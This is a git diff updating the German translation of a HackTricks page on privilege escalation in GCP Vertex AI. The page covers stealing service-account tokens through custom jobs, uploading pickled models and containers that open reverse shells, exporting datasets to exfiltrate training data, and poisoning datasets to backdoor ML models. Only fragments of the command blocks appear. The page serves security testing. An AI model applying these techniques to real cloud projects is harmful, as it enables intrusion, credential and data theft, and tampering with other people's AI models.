mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Für weitere Informationen zu Vertex AI siehe:
|
||||
Für weitere Informationen über Vertex AI siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
@@ -14,9 +14,9 @@ Für weitere Informationen zu Vertex AI siehe:
|
||||
|
||||
Mit der Berechtigung `aiplatform.customJobs.create` und `iam.serviceAccounts.actAs` auf einem Ziel-Servicekonto kann ein Angreifer **beliebigen Code mit erhöhten Rechten ausführen**.
|
||||
|
||||
Dies funktioniert, indem ein custom training job erstellt wird, der vom Angreifer kontrollierten Code ausführt (entweder in einem custom container oder als Python-Paket). Wenn ein privilegiertes Servicekonto über die `--service-account`-Option angegeben wird, erbt der Job die Berechtigungen dieses Servicekontos. Der Job läuft auf von Google verwalteter Infrastruktur mit Zugriff auf den GCP metadata service, was die Extraktion des OAuth access token des Servicekontos ermöglicht.
|
||||
Dies funktioniert, indem ein custom training job erstellt wird, der vom Angreifer kontrollierten Code ausführt (entweder ein custom container oder ein Python-Paket). Durch Angabe eines privilegierten Servicekontos über die Option `--service-account` erbt der Job die Berechtigungen dieses Servicekontos. Der Job läuft auf von Google verwalteter Infrastruktur mit Zugriff auf den GCP metadata service, was die Extraktion des OAuth access token des Servicekontos ermöglicht.
|
||||
|
||||
**Auswirkung**: Vollständige Privilegieneskalation auf die Berechtigungen des Ziel-Servicekontos.
|
||||
**Auswirkung**: Full privilege escalation zu den Berechtigungen des Ziel-Servicekontos.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternative: Token aus Logs extrahieren</summary>
|
||||
<summary>Alternative: Token aus logs extrahieren</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Der Custom Job läuft mit den Berechtigungen des angegebenen Service Accounts. Stelle sicher, dass du die `iam.serviceAccounts.actAs`-Berechtigung für den Ziel-Service Account besitzt.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Diese Technik erreicht Privilegieneskalation, indem ein Modell zu Vertex AI hochgeladen und dieses Modell anschließend genutzt wird, um Code mit erhöhten Rechten über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job auszuführen.
|
||||
Diese Technik ermöglicht eine Privilegieneskalation, indem ein Modell zu Vertex AI hochgeladen wird und dieses Modell anschließend genutzt wird, um Code mit erhöhten Rechten über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job auszuführen.
|
||||
|
||||
> [!NOTE]
|
||||
> Um diesen Angriff durchzuführen, wird ein weltweit lesbarer GCS-Bucket benötigt oder es muss ein neuer Bucket erstellt werden, um die Modellartefakte hochzuladen.
|
||||
> Um diesen Angriff durchzuführen wird ein öffentlich lesbarer GCS bucket benötigt oder es muss ein neuer erstellt werden, um die Modellartefakte hochzuladen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hochladen eines bösartigen pickled-Modells mit reverse shell</summary>
|
||||
<summary>Bösartiges pickled-Modell mit reverse shell hochladen</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -113,7 +111,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Modell hochladen mit container reverse shell</summary>
|
||||
<summary>Modell mit Container-Reverse-Shell hochladen</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -145,15 +143,16 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Nach dem Hochladen des bösartigen Modells könnte ein Angreifer warten, bis jemand das Modell verwendet, oder das Modell selbst über ein Endpoint-Deployment oder einen Batch-Prediction-Job starten.
|
||||
> Nach dem Hochladen des bösartigen Modells könnte ein Angreifer darauf warten, dass jemand das Modell verwendet, oder das Modell selbst über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job starten.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) oder ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Wenn Sie Berechtigungen haben, Modelle zu Endpoints zu erstellen und bereitzustellen, oder Endpoint-IAM-Richtlinien zu ändern, können Sie hochgeladene bösartige Modelle im Projekt nutzen, um eine Privilegieneskalation zu erreichen. Um eines der zuvor hochgeladenen bösartigen Modelle über einen Endpoint auszulösen, müssen Sie nur:
|
||||
Wenn Sie Berechtigungen zum Erstellen und Bereitstellen von Modellen auf Endpoints oder zum Ändern von Endpoint-IAM-Richtlinien haben, können Sie hochgeladene bösartige Modelle im Projekt ausnutzen, um eine Privilegieneskalation zu erreichen. Um eines der zuvor hochgeladenen bösartigen Modelle über einen Endpoint auszulösen, müssen Sie lediglich:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bösartiges Modell auf einem Endpoint bereitstellen</summary>
|
||||
<summary>Bösartiges Modell an Endpoint bereitstellen</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
@@ -174,16 +173,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Wenn du die Berechtigung hast, einen **batch prediction job** zu erstellen und ihn mit einem Servicekonto auszuführen, kannst du auf den Metadata-Service zugreifen. Der bösartige Code wird während des Batch-Prediction-Prozesses aus einem **custom prediction container** oder einem **malicious model** ausgeführt.
|
||||
Wenn Sie Berechtigungen haben, **batch prediction jobs** zu erstellen und diese mit einem service account auszuführen, können Sie auf den metadata service zugreifen. Der bösartige Code wird während des batch prediction Prozesses aus einem **custom prediction container** oder **malicious model** ausgeführt.
|
||||
|
||||
**Hinweis**: Batch-Prediction-Jobs können nur über die REST API oder das Python SDK erstellt werden (keine gcloud-CLI-Unterstützung).
|
||||
**Note**: Batch prediction jobs können nur über die REST API oder das Python SDK erstellt werden (keine gcloud CLI-Unterstützung).
|
||||
|
||||
> [!NOTE]
|
||||
> Dieser Angriff erfordert zunächst das Hochladen eines bösartigen Modells (siehe Abschnitt `aiplatform.models.upload` oben) oder die Verwendung eines custom prediction container mit deinem reverse shell code.
|
||||
> Dieser Angriff setzt voraus, dass zuerst ein malicious model hochgeladen wird (siehe Abschnitt `aiplatform.models.upload` oben) oder ein custom prediction container mit Ihrem reverse shell code verwendet wird.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Batch-Prediction-Job mit bösartigem Modell erstellen</summary>
|
||||
<summary>Batch prediction job mit malicious model erstellen</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -239,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Wenn Sie die **models.export**-Berechtigung haben, können Sie Modellartefakte in einen von Ihnen kontrollierten GCS-Bucket exportieren und dadurch möglicherweise auf sensible Trainingsdaten oder Modell-Dateien zugreifen.
|
||||
Wenn du die **models.export**-Berechtigung hast, kannst du Modellartefakte in einen von dir kontrollierten GCS bucket exportieren und dadurch möglicherweise auf sensible Trainingsdaten oder Modelldateien zugreifen.
|
||||
|
||||
> [!NOTE]
|
||||
> Um diesen Angriff durchzuführen, benötigen Sie einen GCS-Bucket, der weltweit lesbar und beschreibbar ist, oder Sie müssen einen neuen erstellen, um die Modellartefakte hochzuladen.
|
||||
> Um diesen Angriff durchzuführen, muss ein öffentlich lesbarer und beschreibbarer GCS bucket vorhanden sein oder du musst einen neuen erstellen, um die Modellartefakte hochzuladen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Modellartefakte in einen GCS-Bucket exportieren</summary>
|
||||
<summary>Modellartefakte in GCS bucket exportieren</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
@@ -273,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Erstelle **ML pipeline jobs**, die mehrere Schritte mit beliebigen Containern ausführen und privilege escalation durch reverse shell-Zugriff ermöglichen.
|
||||
Erstellen Sie **ML pipeline jobs**, die mehrere Schritte mit beliebigen Containern ausführen und Privilegieneskalation durch reverse shell access ermöglichen.
|
||||
|
||||
Pipelines sind besonders mächtig für privilege escalation, da sie mehrstufige Angriffe unterstützen, bei denen jede Komponente unterschiedliche Container und Konfigurationen verwenden kann.
|
||||
Pipelines sind besonders mächtig für Privilegieneskalation, weil sie mehrstufige Angriffe unterstützen, bei denen jede Komponente unterschiedliche Container und Konfigurationen verwenden kann.
|
||||
|
||||
> [!NOTE]
|
||||
> Du benötigst einen für alle beschreibbaren GCS-Bucket, der als Pipeline-Root verwendet wird.
|
||||
> Sie benötigen einen weltweit beschreibbaren GCS-Bucket, um ihn als Pipeline-Root zu verwenden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installiere Vertex AI SDK</summary>
|
||||
<summary>Vertex AI SDK installieren</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -385,15 +384,15 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Erstelle **hyperparameter tuning jobs**, die beliebigen Code mit erhöhten Rechten über benutzerdefinierte Trainings-Container ausführen.
|
||||
Erstelle **hyperparameter tuning jobs**, die beliebigen Code mit erhöhten Rechten über custom training containers ausführen.
|
||||
|
||||
Hyperparameter tuning jobs ermöglichen es, mehrere Training-Trials parallel auszuführen, jeweils mit unterschiedlichen Hyperparameter-Werten. Wenn du einen bösartigen Container mit einer reverse shell oder einem exfiltration command angibst und diesen mit einem privilegierten Servicekonto verknüpfst, kannst du eine Privilegieneskalation erreichen.
|
||||
Hyperparameter tuning jobs ermöglichen es, mehrere training trials parallel auszuführen, jeweils mit unterschiedlichen hyperparameter-Werten. Indem du einen bösartigen Container mit einer reverse shell oder einem exfiltration command angibst und diesen mit einem privilegierten service account verknüpfst, kannst du privilege escalation erreichen.
|
||||
|
||||
**Auswirkung**: Vollständige Privilegieneskalation auf die Berechtigungen des Ziel-Servicekontos.
|
||||
**Auswirkung**: Vollständige privilege escalation auf die Berechtigungen des Ziel-Service-Accounts.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hyperparameter tuning job mit reverse shell erstellen</summary>
|
||||
<summary>Erstelle hyperparameter tuning job mit reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
@@ -434,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Exportiere **datasets**, um Trainingsdaten zu exfiltrate, die sensible Informationen enthalten können.
|
||||
Exportieren Sie **datasets** to exfiltrate Trainingsdaten, die sensible Informationen enthalten könnten.
|
||||
|
||||
**Hinweis**: Dataset-Operationen erfordern REST API oder Python SDK (keine gcloud CLI-Unterstützung für datasets).
|
||||
|
||||
Datasets enthalten häufig die ursprünglichen Trainingsdaten, die PII, vertrauliche Geschäftsdaten oder andere sensible Informationen enthalten können, die zum Training von Produktionsmodellen verwendet wurden.
|
||||
Datasets enthalten oft die ursprünglichen Trainingsdaten, die PII, vertrauliche Geschäftsdaten oder andere sensible Informationen enthalten können, die zum Training von Produktionsmodellen verwendet wurden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dataset exportieren, um Trainingsdaten zu exfiltrate</summary>
|
||||
<summary>Datensatz exportieren to exfiltrate Trainingsdaten</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -491,25 +490,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importiere bösartige oder poisoned Daten in vorhandene Datasets, um das Modelltraining zu manipulieren und Backdoors einzuführen.
|
||||
Bösartige oder vergiftete Daten in bestehende Datensätze importieren, um **das Modeltraining zu manipulieren und Backdoors einzuführen**.
|
||||
|
||||
**Hinweis**: Dataset-Operationen erfordern REST API oder Python SDK (keine gcloud CLI-Unterstützung für Datasets).
|
||||
**Hinweis**: Operationen an Datensätzen erfordern die REST API oder das Python SDK (keine gcloud CLI-Unterstützung für Datensätze).
|
||||
|
||||
Durch das Importieren gezielt erstellter Daten in ein Dataset, das zum Training von ML-Modellen verwendet wird, kann ein Angreifer:
|
||||
Durch das Importieren speziell gefertigter Daten in einen für das Training von ML-Modellen verwendeten Datensatz kann ein Angreifer:
|
||||
- Backdoors in Modelle einführen (trigger-basierte Fehlklassifikation)
|
||||
- Poison Trainingsdaten, um die Modellleistung zu verschlechtern
|
||||
- Daten injizieren, um Modelle dazu zu bringen, Informationen zu leaken
|
||||
- Modellverhalten für bestimmte Eingaben manipulieren
|
||||
- Trainingsdaten vergiften, um die Modellleistung zu verschlechtern
|
||||
- Daten injizieren, sodass Modelle Informationen zu leak-en
|
||||
- Das Modellverhalten für bestimmte Eingaben manipulieren
|
||||
|
||||
Dieser Angriff ist besonders effektiv, wenn er auf Datasets abzielt, die für folgende Zwecke verwendet werden:
|
||||
- Bildklassifikation (falsch beschriftete Bilder injizieren)
|
||||
Dieser Angriff ist besonders effektiv, wenn Datensätze ins Visier genommen werden, die verwendet werden für:
|
||||
- Bildklassifikation (falsch gekennzeichnete Bilder injizieren)
|
||||
- Textklassifikation (voreingenommenen oder bösartigen Text injizieren)
|
||||
- Objekterkennung (Begrenzungsrahmen manipulieren)
|
||||
- Objekterkennung (Bounding Boxes manipulieren)
|
||||
- Empfehlungssysteme (gefälschte Präferenzen injizieren)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
<summary>Vergiftete Daten in einen Datensatz importieren</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -570,7 +569,7 @@ curl -s -X GET \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor-Angriff - Bildklassifikation</summary>
|
||||
<summary>Backdoor-Angriff - Bildklassifizierung</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
@@ -626,37 +625,36 @@ EOF
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks können schwerwiegende Folgen haben:
|
||||
> - **Sicherheitssysteme**: Umgehen von Gesichtserkennung oder Anomalieerkennung
|
||||
> - **Betrugserkennung**: Modelle so trainieren, dass sie bestimmte Betrugsmuster ignorieren
|
||||
> - **Inhaltsmoderation**: Schadhaften Inhalt als sicher klassifizieren lassen
|
||||
> - **Betrugserkennung**: Modelle trainieren, damit sie bestimmte Betrugsmuster ignorieren
|
||||
> - **Inhaltsmoderation**: Gefährliche Inhalte dazu bringen, als sicher klassifiziert zu werden
|
||||
> - **Medizinische KI**: Kritische Gesundheitszustände falsch klassifizieren
|
||||
> - **Autonome Systeme**: Objekt-Erkennung manipulieren für sicherheitskritische Entscheidungen
|
||||
> - **Autonome Systeme**: Objekterkennung so manipulieren, dass sicherheitsrelevante Entscheidungen beeinflusst werden
|
||||
>
|
||||
> **Auswirkungen**:
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - Mit Hintertür versehene Modelle, die bei bestimmten Triggern falsch klassifizieren
|
||||
> - Verschlechterte Modellleistung und Genauigkeit
|
||||
> - Voreingenommene Modelle, die bestimmte Eingaben diskriminieren
|
||||
> - Information leakage through model behavior
|
||||
> - Verzerrte Modelle, die bestimmte Eingaben diskriminieren
|
||||
> - Information leak durch Modellverhalten
|
||||
> - Langfristige Persistenz (Modelle, die auf poisoned data trainiert wurden, übernehmen die backdoor)
|
||||
>
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Veraltete API**: Die `aiplatform.notebookExecutionJobs.create` API ist im Zuge der Ablösung von Vertex AI Workbench Managed Notebooks veraltet. Der moderne Ansatz ist die Nutzung des **Vertex AI Workbench Executor**, der Notebooks über `aiplatform.customJobs.create` ausführt (bereits oben dokumentiert).
|
||||
> **Veraltete API**: Die `aiplatform.notebookExecutionJobs.create` API ist im Zuge der Abkündigung von Vertex AI Workbench Managed Notebooks veraltet. Der moderne Ansatz ist die Nutzung des **Vertex AI Workbench Executor**, der Notebooks über `aiplatform.customJobs.create` ausführt (bereits oben dokumentiert).
|
||||
> Der Vertex AI Workbench Executor ermöglicht das Planen von Notebook-Ausführungen, die auf der Vertex AI custom training infrastructure mit einem angegebenen Servicekonto ausgeführt werden. Dies ist im Wesentlichen ein Komfort-Wrapper um `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor.
|
||||
> **For privilege escalation via notebooks**: Verwende die oben dokumentierte Methode `aiplatform.customJobs.create`, die schneller, zuverlässiger ist und dieselbe zugrunde liegende Infrastruktur wie der Workbench Executor nutzt.
|
||||
|
||||
**Die folgende Technik wird nur aus historischem Kontext dargestellt und wird für neue Assessments nicht empfohlen.**
|
||||
**Die folgende Technik wird nur aus historischem Kontext bereitgestellt und wird für neue Assessments nicht empfohlen.**
|
||||
|
||||
Erstelle **notebook execution jobs**, die Jupyter notebooks mit beliebigem Code ausführen.
|
||||
Erstelle **notebook execution jobs**, die Jupyter-Notebooks mit beliebigem Code ausführen.
|
||||
|
||||
Notebook jobs eignen sich ideal für interaktive Codeausführung mit einem Servicekonto, da sie Python-Codezellen und Shell-Befehle unterstützen.
|
||||
Notebook-Jobs eignen sich ideal für interaktive Codeausführung mit einem Servicekonto, da sie Python-Codezellen und Shell-Befehle unterstützen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle bösartige Notebook-Datei</summary>
|
||||
<summary>Bösartige Notebook-Datei erstellen</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
|
||||
Reference in New Issue
Block a user